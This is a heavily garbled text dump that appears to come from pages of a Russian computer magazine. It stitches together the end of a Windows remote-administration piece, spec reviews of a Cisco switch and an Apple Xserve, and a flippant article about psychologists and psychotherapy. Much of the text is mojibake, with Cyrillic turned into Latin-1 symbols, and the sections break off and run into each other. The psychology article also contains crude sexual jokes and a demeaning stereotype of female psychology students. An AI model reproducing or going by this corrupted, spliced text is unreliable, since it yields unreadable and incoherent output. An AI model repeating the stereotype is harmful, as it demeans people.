tasklist /S <ñèñòåìà> /U 

<äîìåí>\<ïîëüçîâàòåëü>

Òî åñòü, ÷òîáû ïîëó÷èòü ñïèñîê ïðîöåññîâ, âûïîëíÿåìûõ íà óäàëåí-

íîé ìàøèíå, ìîæíî ñäåëàòü òàê:

> tasklist /S \\synack

Ëþáèòåëè ãðàôè÷åñêèõ ìîðä ìîãóò âûïîëíèòü ëþáóþ WMI-
êîìàíäó ñ ïîìîùüþ «Òåñòåðà èíñòðóìåíòàðèÿ óïðàâëåíèÿ 
Windows». Çàïóñêàåì Wbemtest.exe, íàæèìàåì «Ïîäêëþ-

÷èòü» (Remote), ïðîïèñûâàåì äàííûå óäàëåííîé ñèñòåìû 
(\\synack\root\cimv2), âûáèðàåì ïàðàìåòðû è âûïîëíÿåì 
çàïðîñ.

ЗАКЛЮЧЕНИЕ Êîíå÷íî, ýòî äàëåêî íå âñå âàðèàíòû óäàëåííîãî 

óïðàâëåíèÿ è âûïîëíåíèÿ êîìàíä. Íå çàáûâàåì î ãðóïïîâûõ 
ïîëèòèêàõ, êîòîðûå òàêæå ïîçâîëÿþò ïðîèçâåñòè áîëüøèíñòâî 
îïåðàöèé ïî àäìèíèñòðèðîâàíèþ ñèñòåì. Ìíîãèå ÿçûêè ïðî-
ãðàììèðîâàíèÿ, âêëþ÷àÿ Windows Script Host, .Net è òàê äàëåå 
èìåþò âîçìîæíîñòè ïîäêëþ÷åíèÿ ê óäàëåííîìó êîìïüþòåðó 

äëÿ âûïîëíåíèÿ àäìèíèñòðàòèâíûõ îïåðàöèé, íå ãîâîðÿ óæå î 
ìíîãî÷èñëåííûõ óòèëèòàõ ñòîðîííèõ ðàçðàáîò÷èêîâ. Âûáèðàé 
íàèáîëåå ïîäõîäÿùèé ñïîñîá è äåéñòâóé.  z
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Êîììóòàòîð WS-C2960-48TT-L îò êîìïà-

íèè Cisco ñòîëü ñëîæåí è áîãàò íà ôóíê-

öèîíàë, ÷òî äàòü åãî îáúåêòèâíóþ îöåíêó 

â òàêîì ìàëîì îáúåìå çíàêîâ ïðîñòî íå-

ðåàëüíî. Ïîýòîìó ìû îñòàíîâèìñÿ òîëüêî 

íà åãî êëþ÷åâûõ âîçìîæíîñòÿõ.

Èòàê, Cisco WS-C2960-48TT-L — èíòåëëåê-

òóàëüíûé êîììóòàòîð âòîðîãî óðîâíÿ íà 

48 ïîðòîâ äëÿ ïðèìåíåíèÿ â ñôåðå ìàëîãî 

è ñðåäíåãî áèçíåñà. Ñðåäè ãëàâíûõ äîñòî-

èíñòâ óñòðîéñòâà ñëåäóåò âûäåëèòü: îáåñ-

ïå÷åíèå èíòåãðèðîâàííîé áåçîïàñíîñòè 

ñåòè, ãèáêóþ ñèñòåìó ïðèîðèòåçàöèè òðà-

ôèêà è øèðîêèé ñïåêòð ïîääåðæèâàåìûõ 

ïðîòîêîëîâ è ñòàíäàðòîâ.

Êîììóòàòîð ñïîñîáåí îáåñïå÷èòü ÷ðåç-

âû÷àéíî âûñîêèé óðîâåíü ñåòåâîé áåçî-

ïàñíîñòè çà ñ÷åò èñïîëüçîâàíèÿ òàêèõ 

òåõíîëîãèé êàê: ñïèñêè êîíòðîëÿ äîñòóïà 

äëÿ êàæäîãî ïîðòà c âîçìîæíîñòüþ ïðèíó-

äèòåëüíîé àóòåíòèôèêàöèè, ôèëüòðàöèÿ 

ïî MAC-àäðåñàì, øèôðîâàíèå, ìåõàíèçì 

Private VLAN Edge äëÿ îòäåëåíèÿ ïîðòîâ 

êîììóòàòîðà äðóã îò äðóãà, òåõíîëîãèÿ 

NAC (Network Admission Control), ïîçâîëÿ-

þùàÿ áëîêèðîâàòü äîñòóï íåæåëàòåëüíûõ 

óçëîâ ê ñåòè èëè íàïðàâèòü èõ â êàðàíòèí-

íóþ ñåòü. Äâóíàïðàâëåííûé ðåæèì îáìå-

íà äàííûìè íà ïîðòàõ SPAN (Switch Port 

Analyzer) ïîçâîëÿåò óñòðîéñòâàì ñèñòåìû 

îáíàðóæåíèÿ âòîðæåíèé â àâòîìàòè÷åñ-

êîì ðåæèìå ðåàãèðîâàòü íà íàðóøèòåëåé 

áåçîïàñíîñòè. Äëÿ ïîëó÷åíèÿ äîñòóïà ê 

íàñòðîéêàì ìàðøðóòèçàòîðà èñïîëüçóåò-

ñÿ àâòîðèçàöèÿ ïî ïðîòîêîëàì TACACS+ è 

RADUIS.

Êîíòðîëü íàä ïîëîñîé ïðîïóñêàíèÿ è 

îïòèìèçàöèÿ òðàôèêà (QoS — Quality of 

Service) ïðîèñõîäÿò ñ ïîìîùüþ íàçíà÷å-

íèÿ äî 64 èíäèâèäóàëüíûõ èëè àãðåãèðî-

âàííûõ ïðàâèë äëÿ âñåõ ïîðòîâ êîììóòà-

òîðà. Ïðàâèëà ìîãóò îïèðàòüñÿ íà IP-àäðåñ 

ïîëó÷àòåëÿ èëè îòïðàâèòåëÿ, MAC-àäðåñ, 

èíôîðìàöèþ â çàãîëîâêàõ ïàêåòîâ. Ïîä-

äåðæèâàåòñÿ ECR, SRR sheduling, WTD, 

Strict Priority queuing, ÷åòûðå èñõîäÿùèå 

î÷åðåäè íà ïîðò, øàã äëÿ ãàðàíòèðîâàí-

íîé ïîëîñû ïðîïóñêàíèÿ âèðòóàëüíîãî 

êàíàëà (CIR) îò 8 Êáèò/ñ. Ïðåäóñìîòðå-

íî àâòîìàòè÷åñêîå óïðàâëåíèå QoS. Òàê, 

ïîñëå ïîäêëþ÷åíèÿ ê ñåòè VoIP òåëåôîíà 

íàñòðîéêà QoS áóäåò ïðîèçâåäåíà â àâòî-

ìàòè÷åñêîì ðåæèìå.

Äëÿ àãðåãàöèè ñåòåâîãî îáîðóäîâàíèÿ èñ-

ïîëüçóþòñÿ êîìáèíèðîâàííûå ãèãàáèò-

íûå uplink-ïîðòû, êîòîðûå ìîãóò îáúåäè-

íÿòüñÿ â îäèí êàíàë ñ ïîìîùüþ òåõíîëîãèè 

GigabitEtherChannel. Äëÿ ðåçåðâèðîâàíèÿ 

îñíîâíîãî êîììóòàòîðà ñòåêà ïðèìåíÿåò-

ñÿ ñåðâèñ Cisco Cluster Management Suite 

(CMS).

Íàñòðîéêà êîììóòàòîðà ìîæåò áûòü ïðî-

èçâåäåíà, èñïîëüçóÿ ïðîòîêîëû SNMP 1, 

RMON, Telnet, SNMP 3, SNMP 2c è SSHv2. 

Òàêæå ïðåäóñìîòðåí Web-èíòåðôåéñ. 

Âìåñòå ñ êîììóòàòîðîì ïîñòàâëÿåòñÿ ÏÎ 

Cisco Network Assistant, êîòîðîå óïðîùà-

åò îáíîâëåíèå è íàñòðîéêó. Áûñòðîå è 

ëåãêîå ïåðâîíà÷àëüíîå ðàçâåðòûâàíèå 

îáåñïå÷èâàåò ïðèëîæåíèå Express Setup. 

Ñðåäíÿÿ öåíà íà óñòðîéñòâî ñîñòàâëÿåò 

66 075 ðóáëåé.
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Технические характеристики
Cisco WS-C2960-48TT-L
> Поддержка стандартов:
Auto MDI/MDIX
IEEE 802.1p (Priority tags)
IEEE 802.1q (VLAN)
IEEE 802.1d (Spanning Tree)
IEEE 802.1s (Multiple Spanning Tree)

> Объем ОЗУ / ПЗУ (Flash):
64 Мб / 32 Мб

> Общее количество портов:
48 x Ethernet 10/100 Мбит/сек

> Параметры Uplink-портов:
2 x Ethernet 10/100/1000 Мбит/сек

> Размер таблицы MAC-адресов:
8192

> Производительность:
Общая производитель-
ность: 13,6 Гб/с
Скорость коммута-
ции: 10,1 Гб/с

> Управление:
Web-интерфейс
Протоколы SNMP 1, 
RMON, Telnet, SNMP 
3, SNMP 2c, SSHv2

> Питание:
Внутренний блок 
питания
Потребляемая мощ-
ность: 45 Вт

> Исполнение:
Для установки в 
стойку
Размер 445 x 44 x 236 мм

Умная кошка
Cisco WS-C2960-48TT-L: 
интеллектуальный коммутатор 2-го уровня 
с фиксированной конфигурацией
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Храните яблоки в стойке
Технические характеристики
AppleXserve
> Процессор:
Один или два Quad-Core Intel Xeon 5500 
Nehalem 2.26, 2.66 или 2.93 ГГц

> Память:
До 12 Гб в однопроцессорном варианте
6 слотов; планками 1, 2 или 4 Гб

> Жесткие диски:
Любая комбинация SATA или SAS дисковых 
модулей Apple
До 3 Тб, используя три модуля 1 Тб 7200 rpm 
SATA
До 1.35 Тб, используя три модуля 450 Гб 
15000 rpm SAS

> Поддержка RAID:
Опционально встроенный RAID-контроллер 
Xserve RAID Card с кеш-памятью 512 Мб и 
резервной батареей на 72 часа для кеш-па-
мяти

> Сетевой интерфейс:
2 встроенных интерфейса Gigabit Ethernet 
(10/100/1000BASE-T) с поддержкой пакетов 
jumbo frames

> Питание:
Блок питания на 750 Вт
Опционально — дополнительный второй 

блок питания на 750 Вт для 
распределения нагрузки, 
с возможностью «горячей» 
замены

> Расширение:
Два свободных 16-канальных 
слота PCI Express 2.0: один 
слот половинной длины (6.6 
дюйма) и один 9.25-дюймо-
вый слот

> Внешние порты ввода-вы-
вода:
2 порта FireWire 800 (общая 
мощность 15 Вт)
2 порта USB 2.0
1 порт DB-9 serial на задней 
панели
1 порт USB 2.0 на лицевой панели

> Другое:
Оптический накопитель 8x SuperDrive с 
поддержкой двухслойных дисков (DVD+R DL/
DVD±RW/CD-RW)
Встроенная графическая карта NVIDIA 
GeForce GT 120 с 256 МБ GDDR3 SDRAM; 
выход Mini DisplayPort (переходники на VGA 
и DVI покупаются отдельно)

> Исполнение:
Для установки в стойку, формат 1U

Обновленный 1U-сервер:
XServe Quad-Core Intel Xeon от Apple

высота — 4,4 см
ширина — 44,7 см
толщина — 76,2 см
вес — 14 кг в базовой конфигурации; 
17,4 кг с тремя дисковыми модулями SATA 
1 Тб и двумя блоками питания

> Гарантия и сервис:
Один год ограниченной гарантии на завод-
ские дефекты материалов и сборки

> Предустановленная ОС: Mac OS X Server 
10.5 Leopard (без ограничений на количест-
во пользовательских подключений)

×òî ïîëó÷èòñÿ, åñëè îáúåäèíèòü óñèëèÿ 

èíæåíåðîâ ñåðâåðíîãî îáîðóäîâàíèÿ è äè-

çàéíåðîâ? Áîëüøèíñòâî êîìïàíèé ïðîèç-

âåäåò íà ñâåò ãëàìóðíûé ñåðâåðíûé øêàô, 

íî òîëüêî Apple ñìîãëà ïðèâåñòè ýòîò ñîþç 

ê ñîçäàíèþ ñòèëüíîãî, íàäåæíîãî è ïðîèç-

âîäèòåëüíîãî 1U-ñåðâåðà.

Xserve Quad-Core Intel Xeon — ïðåäñòàâè-

òåëü ïîñëåäíåãî ïîêîëåíèÿ ñåðâåðîâ íà-

÷àëüíîãî óðîâíÿ (ïðîèçâîäñòâà íåáåçûç-

âåñòíîé ÿáëî÷íîé êîìïàíèè). Îáëàñòü 

åãî ïðèìåíåíèÿ ìîæåò ïðîñòèðàòüñÿ îò 

âåá-ñåðâåðîâ è ôàéëîâîãî õðàíèëèùà äî 

ñåðâåðà, âûïîëíÿþùåãî ïîääåðæêó ðàç-

ëè÷íûõ âíóòðèêîðïîðàòèâíûõ ñåðâèñîâ.

Â ñòàíäàðòíîé êîìïëåêòàöèè ñåðâåð îñíà-

ùåí îäíèì ïðîöåññîðîì Quad-Core Intel 

Xeon 5500 Nehalem ñ ÷àñòîòîé 2.26 ÃÃö. 

Ïî ïðîñüáå ïîêóïàòåëÿ îí ìîæåò áûòü 

çàìåíåí íà äâà îäíîèìåííûõ ïðîöåññî-

ðà, ðàáîòàþùèõ íà ÷àñòîòå 2.26, 2.66 èëè 

2.93 ÃÃö. Ñòàíäàðòíûé îáúåì ïàìÿòè — 

3 Ãá — ìîæåò áûòü ðàñøèðåí äî 12 Ãá. Ìàê-

ñèìàëüíûé îáúåì äèñêîâîé ïàìÿòè ìîæåò 

ñîñòàâëÿòü 3 Òá ïðè óñëîâèè èñïîëüçîâà-

íèÿ òðåõ SATA-äèñêîâ åìêîñòüþ 1 Ãá ñ ïîä-

äåðæêîé «ãîðÿ÷åé çàìåíû» (åñòü âàðèàíò 

è ñ SSD-íàêîïèòåëÿìè). RAID-êîíòðîëëåð 

ñ êýø-ïàìÿòüþ 512 Ìá è ðåçåðâíîé áàòà-

ðååé óñòàíàâëèâàåòñÿ ïî òðåáîâàíèþ. 

Ñåðâåð èìååò äâà èíòåðôåéñà Gigabit 

Ethernet (10/100/1000BASE-T) è äâà ñëîòà 

PCI Express 2.0 (îäèí èç êîòîðûõ èìååò ïî-

ëîâèííóþ äëèíó).

Xserve äåéñòâèòåëüíî åñòü, ÷åì îòëè÷èòü-

ñÿ. Âî-ïåðâûõ, ñåðâåð îñíàùåí ôèðìåí-

íûì Apple'îâñêèì èíòåðôåéñîì FireWire 

(IEEE 1394b). Âî-âòîðûõ, ýòî, êîíå÷íî æå, 

ïðåäóñòàíîâëåííàÿ îïåðàöèîííàÿ ñèñòå-

ìà Mac OS X Server 10.5 Leopard ñ íåìàëûì 

÷èñëîì ïðèâåðæåíöåâ. Â-òðåòüèõ, ñåðâåð 

îñíàùåí ìîùíûì ãðàôè÷åñêèì àäàïòå-

ðîì NVIDIA GeForce GT 120 ñ 256 Ìá ïàìÿ-

òè, êîòîðûé, âîçìîæíî, áóäåò ïîëåçåí â 

íåêîòîðûõ èíñòàëëÿöèÿõ.

Åñòü è íåäîñòàòêè. Xserve îñíàùåí EFI 

(Extensible Firmware Interface) âìåñòî 

BIOS, ÷òî íå äàåò îñîáûõ ïðåèìóùåñòâ, 

îäíàêî çàòðóäíÿåò óñòàíîâêó ñòîðîííèõ 

îïåðàöèîííûõ ñèñòåì. Íàïðèìåð, ÷òîáû 

óñòàíîâèòü Linux, ïðèäåòñÿ èñïîëüçîâàòü 

ñïåöèàëüíûé çàãðóç÷èê, à Windows ïî-

äîéäåò òîëüêî ïîñëåäíèõ âåðñèé, à òî÷íåå 

Win2k8/Win2k8R2. È êîãî-òî ìîæåò îãîð-

÷èòü öåíà, êîòîðàÿ â ñòàíäàðòíîé êîìï-

ëåêòàöèè ñîñòàâëÿåò ïðèìåðíî 130 000 

ðóáëåé. z



Í
есправедливо? Сегодня мы попро-
буем это упущение компенсировать. 
Вначале давай рассмотрим, что все 
эти боевые единицы собой представ-
ляют, чем характеризуются и как друг 

от друга отличаются, а затем плавно перейдем к 
описанию тех способов воздействия на челове-
ческие души, которые они практикуют.

Ïñèõîëîãè
Название специальности недвусмысленно 
намекает на принадлежность к когорте из-
бранных знатоков человеческих душ — что, 
якобы, и является профессией психологов. 
Научные определения «психологии» как науки 
и «психологов» как специалистов мы здесь 
приводить не будем — и так ясно, что первое — 
академически-прикладная наука, изучающая 
структуру человеческой психики, поведение и 
мотивацию человеков разумных, но вот второе… 
со вторым не так ясно. Кто они, чем знамениты, 
чем занимаются, а чем нет? Ну, во-первых, 
психолог получается методом горячего литья в 
течение пяти лет обучения в соответствующем 
вузе/факультете. Благодаря тому, что наша стра-
на — велика и могуча, а законы в ней — строги 
и не обязательны, психологи ранее отливались 
и альтернативными способами. Покупкой 
дипломов, курсами повышения квалификации 
или просто любыми другими курсами, нередко 
проводимыми в кабинетах труда соответствую-
щими преподавателями (которые до этого учили 
детей обрабатывать драчовым напильником 
детали номер восемь). Таких личностей и сейчас 
остается не менее половины, что, очевидно, 
сказывается на их среднем профессиональном 
уровне. Не будем о грустном, а лучше посмотрим, 
что входит в задачи психологов.
1. Психологическое консультирование. Ясное 

дело, что проводится оно либо по запросу самой 
личности, либо по запросу компетентных органи-
заций вроде:
• Образовательных учреждений (чтобы понять, 
действительно ли данный подросток — приду-
рок, или только прикидывается, в чем заключа-
ется его проблема, и как можно скорректировать 
его воспитание/образование, исходя из этой 
информации). В большинстве отечественных 
школ основными способами реагирования на 
особенности психологии учеников является «иг-
норирование», «отчисление», «третирование», 
«пускание на самотек» и многие другие. Поэтому, 
как ты понимаешь, без психолога в них очень 
хорошо обходятся.
• Красной армии (подойдет ли юнит для ответ-
ственной должности, можно ли спрогнозировать 
его поведение в такой-то ситуации, сможет ли 
эта группа юнитов в течение года работать на 
одной подлодке, уживутся ли они друг с другом, 
не перережут ли друг друга и прочее). Например, 
всем известно, что Джины ненавидят Ифритов, а 
Архангелы — Архидьяволов. Психологи подходят 
к этому делу более научно.
• Различных капиталистических учреждений. 
Сейчас, в XXI веке, нет никаких сомнений, что 
машина капитализма не только пьет кровь 
рабочих (она ей смазывается :)), но и покушается 
на самое святое — их душу. Многие корпорации 
принимают на работу новых офисных троллей 
только через собеседование с начальником 

соответствующего подразделения и психоло-
гом — специалистом по подбору персонала. 
Считается, что такой подход помогает подобрать 
более слаженный коллектив, нанимать более 
профессионально-ориентированных сотрудни-
ков, повысить их лояльность компании и снизить 
текучку кадров. С точки зрения работодателя все 
выглядит довольно радужно, с позиции же соис-
кателя должности — наоборот; возникает мно-
жество вопросов этического («почему я должен 
позволять кому-то ковыряться в моей голове») и 
правового плана (за подробностями обращайся 
к 70-й статье трудового кодекса: «Испытание при 
приеме на работу»).
2. Психодиагностика. Нет, это не диагностика 
душевных болезней, а особая, психологическая 
магия — оценка психологической сферы челове-
ка (внимание, восприятие, память, интеллект…) с 
помощью формализованных (например, навер-
няка известные тебе тесты и опросники Люшера, 
Роршаха, MMPI) и неформализованных методик, 
вроде наблюдения, диагностической беседы 
или анализа продуктов деятельности консульти-
руемого. Помнишь канонические случаи, когда 
психолог рассматривает какой-нибудь рисунок 
домика и в итоге заключает, что, поскольку труба 
у домика маленькая, то автор рисунка наверняка 
подсознательно недоволен длиной своего фал-
лоса? Вот тебе пример использования слабо-
формализованной методики, да еще и в отрыве 
от общей картины. В результате — полный бред 

 134  

PSYCHO: 
ÏÐÎÔÅÑÑÈÎÍ À ËÛ ×Å ËÎÂÅ×ÅÑÊ È Õ Ä Ó Ø

Ï ñ è õ î ë î ã è ÷ å ñ ê è å  ò å õ í è ê è  í à  ñ ë ó æ á å

ñ â å ò ë î é  ñ ò î ð î í û  ñ è ë û

UNITS Александр Лозовский lozovsky@gameland.ru

Так сложилось, что последние полгода мы освещали преимуще-
ственно темную сторону пси-силы — безумства, легкие помеша-
тельства, обманы и манипуляции. Получается, мы совершенно 
незаслуженно обошли своим вниманием относительно добрых 

юнитов — психологов, психиатров, тренеров — и те психотехники, 
которые они в рамках своей деятельности реализуют.

Психология и литература
Достоверно неизвестно, по какой причине психологи, формально знающие толк в челове-
ческом умище, настолько криво и заумно формулируют свои мысли, что их книги (в вики-
педии — и в той без поллитры не разберешься) становится положительно невозможно 
читать. Тем не менее, я тебе их посоветую. Страдай!
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со стороны анализирующего.
3. Психокоррекция. Жестокое 
слово «психокоррекция», так 
ассоциирующееся в наших с тобой 
измененных интернетом мозгах с 
электросудорожным воздействием, 
сывороткой покорности и формати-
рованием личности с использова-
нием пожизненного цика с гвоздя-
ми, на деле оказывается довольно 
спокойным явлением. Причин тому 
несколько:
• по нашим законам психолог не 
имеет права назначать никакие 
лекарственные средства. С учетом 
вышеизложенной суровой правды 
о среднем уровне отечественного 
психолога, который выучился на 

свою специальность путем про-
хождения двухмесячных курсов, 
согласись, это не так уж и плохо;
• электросудорожную и инсулино-
коматозную терапию они тоже, к 
счастью, назначать права не имеют;
• как ни парадоксально, но 
психотерапией по отечественным 
законам… психолог тоже не имеет 
права заниматься. Отличненько, 
вот так психолог — специалист 
по человеческим душам, который 
не имеет права ни на что, кроме 
ведения непонятных разговоров и 
анализа результатов непонятных 
тестов? Ну да ладно, не касаясь 
тонкостей наших строгих, но не 
обязательных законов, постараюсь 

объяснить тебе суть психокоррек-
ции. Направлена она на то, чтобы 
повысить социальную адаптацию 
человека, скорректировать осо-
бенности, выходящие за рамки 
общепринятых, или усилить те 
качества, которые, на взгляд об-
ратившегося к психологу чувака, у 
него развиты недостаточно (вни-
мание, память, общение). Иначе 
говоря, перец, желающий моди-
фицировать свой поведенческий, 
не побоюсь этого слова, стереотип 
и усилить какие-либо социальные 
навыки, отправляется прямиком к 
психологу, который и промоет ему 
мозг индивидуальным (психолог + 
клиент) или групповым методом 
(да-да, свальный грех: психолог + 
группа клиентов, одержимых од-
ним и тем же вопросом). О конкрет-
ных техниках, которые при этом 
используются, мы поговорим чуть 
ниже. Все, психолога мы с тобой 
более-менее разобрали, осталась 
одна малость на закуску — 
ответить на вопрос, который мучил 
тебя долгие годы, но ответ на 
который ты узнаешь только сейчас 
:). Начнем издалека. В связи с 
огромным количеством (весьма 
левоватых) вузов, обещающих под-
готовку на психолога, вероятность 
того, что ты лично или твои друзья 
имели честь интимно встречаться с 
девушкой-студенткой соответству-
ющего направления, очень высока. 
Очень высока так же и вероятность 
былинного отказа этих отношений, 

сопровождавшихся тотальным 
выносом мозга мучачоса. «В чем 
причина? — наверняка спрашивал 
себя означенный мачо. — Как, 
почему? Как представитель такой 
профильной специальности может 
быть таким ужасно сумасшед-
шим?». Секрет прост — массовый 
приход (хе-хе) акцентуирован-
ных личностей и невротичек-
манипуляторш в психологи явля-
ется следствием того, что человек, 
сознательно или подсознательно 
осознавая свою «ущербность», 
пытается в ней разобраться. 
Читает книжки, собирает отзывы, 
идет учиться. И что получается? 
Ничего не получается, поскольку, 
как мы с тобой уже говорили в 
предыдущих статьях, изменить 
себя чтением книг или обучением 
на психфаке, невозможно. Именно 
поэтому в развитых странах работа 
психологом невозможна, если 
означенный специалист не на-
ходится под наблюдением другого 
пси-специалиста — супервайзера. 
Иначе говоря, хочешь вправлять 
мозги окружающим — приведи 
сначала в порядок собственные. 
Надо ли говорить, что в нашей 
стране такой подход не пользуется 
популярностью? :)

Êîðïîðàòèâíûé 
òðåíåð, îí æå êîó÷, 
îí æå áèçíåñ–
êîíñóëüòàíò
Корпоративный «психолог», за-
нимающийся подбором нового 
офисного планктона, мотивацией и 
тренингами персонала существую-
щего, в первую очередь знаменит 
тем, что совершенно необязательно 
бывает психологом. Науке известны 
тренеры-преподаватели, тренеры-
бизнесмены и даже воины-
интернационалисты, бывшие 
военные преступники :). Для нашей 
статьи этот типаж не имеет особой 
ценности по ряду причин:
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Зигмунд Фрейд aka 
Сигизмунд Шломо: 
главный психоаналитик 
с традиционной 
сигарой. Нет, ты не 
можешь смешно 
пошутить по поводу ее 
фаллической формы: 
все уже было сделано 
до нас

Классический клиент психотерапевта. В те времена 
их еще не было, поэтому пациент излечился неким 
токсическим снадобьем, возможно, даже плацебо

Буква закона: психиатрическое 
освидетельствование — дело добровольное
Психиатрическое освидетельствование проводится для определения: страдает ли обследуемый 
психическим расстройством, нуждается ли он в психиатрической помощи, а также для решения 
вопроса о виде такой помощи. Психиатрическое освидетельствование, профилактические осмотры 
проводятся по просьбе или с согласия обследуемого («Закон о психиатрической помощи и гаран-
тиях прав граждан при ее оказании», статья 23). Исключения есть, но они касаются явно опасных 
для себя или для общества личностей (загугли полный текст статей 23 и 24, если интересны под-
робности).
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• К «добрым» пси-специалистам он относится 
чисто условно.
• К пси-специалистам он часто и вовсе не от-
носится (если, конечно, полторы прочитанные 
книжки с названием «Подготовка успешного со-
трудника: 100 игр, направленных на сплочение 
команды» можно отнести к образованию).
• Корпоративная мотивация, отбор персонала 
и зомбирование, — все эти темы мы надеемся 
вынести в отдельную статью :).

Ïñèõèàòð
Врач-психиатр — в первую очередь, врач, и 
только во вторую — пси-специалист. Подготав-
ливается данная боевая единица в медицинских 
институтах и соответствующих (медицинских) 
факультетах университетов. Причем первые 6 лет 
будущий психиатр изучает исключительно обще-
врачебную программу (со всеми ее физиками, 
пятью разными химиями и работой в покойниц-
кой). И только затем, в течение 2-х лет орди-
натуры по психиатрии, постигает собственно 
предмет, из-за чего вышеописанные безумные 
девушки с горящими глазами в психиатрию 
попадают редко. Психиатр имеет право на все, 
не влезая, впрочем, в психологическую епархию 
вроде хитрых тестов и мощных 600-вопросных 
опросников (в дурдомах даже есть отдельные 
ставки медицинских психологов), а именно, на:
• лечение всех психических заболеваний, от 
«малой» психиатрии (депрессии, неврозы) 
до «большой» вроде шизофрении (психологи 
лечить не могут вообще ничего);
• применение фармакологических средств вро-
де антидепрессантов и нейролептиков;
• применение других способов, вроде твоей 
любимой ЭСТ (что, кстати, благодаря наркозу, 
садистским методом не является и в лечении, на-
пример, депрессии, вполне себе применяется);
• неофициальное ведение психотерапии — то 
есть, «лечения разговорами» — как «настоящих 
болезней» вроде депрессии (где разговоры 
подкрепляются лечебными колесами), так и 
«всякой фигни» вроде «не умею знакомиться 
с женщинами/мужчинами, а потом меня все 
равно все бросают», «нет детей и не знаю, что 

с этим делать — жаловаться или хвастаться», 
«у меня низкая самооценка» и т.п. Конечно 
же, научно «всякая фигня» всякой фигней не 
называется (и вообще-то ей и не является), а 
называется она «помощью в избавлении от 
личностных и социальных проблем». Дело 
хорошее, людям нравится. Правда, во время 
обучения психиатрии не так много времени 
отводится на ознакомление со всем этим 
шаманством, поэтому сертификат и гордое 
звание «психотерапевт» только после обучения 
психиатрии пока не выдают.
Более подробно о психотерапии мы с тобой 
поговорим чуть ниже — в конце концов, ведь 
именно она представляет собой наиболее яркий 
пример психотронного воздействия с доброй 
стороны силы.

Ïñèõîòåðàïåâò
Хитрый специалист, который занимается вроде 
как не психологией и не психиатрией, но явля-
ется при этом, как ни странно, психиатром или 
психологом (законы разных стран по этому по-
воду сильно разнятся). Он зомбирует (вру, лечит) 
людей, делая это по-хорошему — с их явного, 
информированного согласия и после заключе-
ния контракта (ну там, чего хочешь достичь, что 
для этого готов сделать, сколько кому отслюня-
вить, и каковы будут условия прекращения этого 
контракта). Осознал теперь, чем хорошие парни 
отличаются от плохих? Хорошие — взимают 
бабло (или другие ништяки) в явном виде. Все 
условия оговаривают так же явно, и в процессе 
общения с ними у человека не возникает дис-
комфорта («почему я с ним занимаюсь, чем я 
с ним занимаюсь, что я за это буду должен, не 
станет ли мне хуже, делают ли мне тут одолжение, 
не попаду ли я потом в анальное рабство»), а же-
лаемый эффект оговаривается заранее. Плохие 
парни — манипуляторы, обманщики, психи, ре-
шающие свои эмоциональные проблемы за счет 
консультируемого — поступают строго наоборот. 
Но не будем увлекаться. Итак, психотерапевти-
ческие методики:
• Психоанализ. Древнее, спорное и широко 
известное направление психотерапии. Бла-

годаря злобному сексуально озабоченному 
Зигмунду Фрейду, который сформулировал 
систему идей по структуре человеческой 
психики, состоящей из сознательного и под-
сознательного и делящейся на «ИД», «ЭГО» 
и «СУПЕР-ЭГО», эта методика закрепилась 
в умах. Настолько мощно, что большая часть 
психологии в целом в глазах обывателя стала 
ассоциироваться с психоанализом. Открой 
любой популярный журнал, в котором какого-
нибудь психолога просят что-либо объяснить. 
Как он это будет делать? Очень просто! «Вам 
снился самолет? Самолет — это член! Падает 
в лес? А в лесу у нас что? Сосны? А сосны — 
это что у нас такое? Такое длинное, гладкое, 
стоящее? Да это же тоже член, батенька! 
Отгадка проста — вы подсознательный содо-
мит. Пройдите психоанализ. Вероятно, ваше 
развитие зациклилось на анальной стадии». 
Практически все, что тебе нужно знать о 
психоанализе, это как раз вышеупомянутые 
стадии психосексуального развития (ораль-
ная, анальная, фаллическая, генитальная), 
о которых мы подробно говорить не будем, 
поскольку ты всегда можешь их загуглить. В 
результате прохождения этих стадий форми-
руется структура психики, которая похожа на 
дом с подвалом, жилым помещением и кры-
шей. Здесь есть ИД (пользуясь случаем, хочу 
передать привет ID Software, я вас люблю!), — 
глубокое подсознание, мрачный подвал 
нашей психики, в котором теснятся злобные 
идеи, обещающие «удовольствия»: пожрать, 
отнять, убить, поиметь и опять-таки съесть. 
Есть ЭГО — «Я», которое все это дело сверху 
контролирует. Есть СУПЕР-ЭГО — система 
общественных ценностей и ограничений, 
которые бедное ИД еще более мощно ограни-
чивают. Вот, собственно, и все. Разумеется, 
по психоанализу написаны толстые книжки, 
на его тему ведутся баталии, а специали-
сты имеют по его поводу разные мнения, от 
«забудьте эту сексуальную бредятину, плод 
воспаленного воображения» до «а что, это 
круто, это работает. Учитесь лучше!». В кон-
тексте психотерапии психоанализ отличается 
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следующими чертами:
1. Длительностью. Можно всю 
жизнь проваляться на кушетке 
психоаналитика. Анекдот про мо-
лодого специалиста, вылечившего 
пациента, которого его отец не мог 
вылечить всю жизнь, при этом ку-
пив на деньги клиента дом, машину 
и образование сына, как раз про 
психоаналитика.
2. «Мутноватостью» подхода, 
который, собственно, является сла-
боформализуемым — интерпрета-
ция (собственно анализ, «пролитие 
света» на темные стороны психики), 
анализ сновидений (пример —
выше), ассоциаций (огурец-
зеленый-член-… ой!), ошибок, 
описок и оговорок.
3. Дороговизной, «элитарностью». 
Клиентов у психоаналитика немно-
го, все наблюдаются годами, и злой 
буржуин всегда может похвастаться, 
что он посещает психоаналитика :).
4. Недоумением, которое, возможно, 
испытает клиент, узнав, что анализ 
окончен — сразу после того, как 
его порадовали новостью, что он 
жаждет заменить собственного 
отца в постели собственной матери 
(Эдипов комплекс).
5. Бедностью фантазии в смысле 
первопричин всех расстройств. Что 
у нас тут есть? Эдип и Электра как 
эталоны посягательства на интим 
с родителями, зависть к пенису у 
женщин и некоторое количество 
разных фиксаций с интригующими 
названиями типа «анальная» или 
«оральная».
• Когнитивная психотерапия. Этот 
тип легального воздействия мозгом 
терапевта на мозг подопытного 
клиента отличается от психоа-
нализа тем, что не ставит своей 

задачей проникнуть в глубины 
(под)сознания пациента, а всего-
навсего стремится нормализовать 
его понимание действительности. 
Для тебя же не секрет, что в разных 
условиях, в разное время и в разных 
ситуациях мы по-разному смотрим 
на одинаковые вещи, по-разному 
истолковываем свои и чужие 
поступки? Например, человек, 
смотрящий на мир сквозь черную 
призму депрессии (или просто 
криво, по другой причине) может 
сделать неправильный вывод из 
одного (спорного) факта, проигно-
рировать сотню других, достовер-
ных, фактов, выстроив в результате 
неправильную линию поведения и 
пострадав в социальном плане. На 
этом и основана когнитивная пси-
хотерапия — в процессе лечебной 
беседы, задавая «правильные» 
вопросы, психотерапевт помогает 
